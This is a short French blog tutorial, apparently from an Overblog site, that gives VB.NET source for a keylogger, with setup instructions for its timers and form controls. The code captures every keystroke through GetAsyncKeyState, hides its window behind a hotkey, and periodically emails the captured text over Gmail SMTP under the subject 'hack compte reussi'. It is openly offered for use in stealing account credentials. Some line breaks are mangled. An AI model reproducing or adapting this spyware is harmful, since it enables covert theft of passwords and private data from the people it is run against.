tuto-informatique.seb30.overblog.com

il faut 2 timers une richtextbox et une barre de progress et un bouton copier ce code ,important le timer 1 regler a 5 d intervalle et le 2 mini 10000.

Imports System.Net.Mail Public

Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Start()

Timer2.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0 log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k)

RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

ProgressBar1.Value = ProgressBar1.Value + 1

If ProgressBar1.Value = ProgressBar1.Maximum Then

ProgressBar1.Value = 0

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

Timer2.Start()

Dim MyMailMessage As New MailMessage()

Dim SMTPServer As New SmtpClient("smtp.gmail.com") 'Email

MyMailMessage.From = New MailAddress("xxx@gmail.com") 'Destinataire MyMailMessage.To.Add("xxx@gmail.com")'Expéditeur

MyMailMessage.Subject = ("[] hack compte reussi") 'Sujet MyMailMessage.

Body = (RichTextBox1.Text) 'Corps '

SMTP SMTPServer.Port = ("587")

SMTPServer.Credentials = New System.Net.NetworkCredential("xxx@gmail.com", "xx") 'Email (+Pass)

SMTPServer.EnableSsl = True Try SMTPServer.Send(MyMailMessage) 'Envoi

Catch ex As Exception

End Try

End Sub

End Class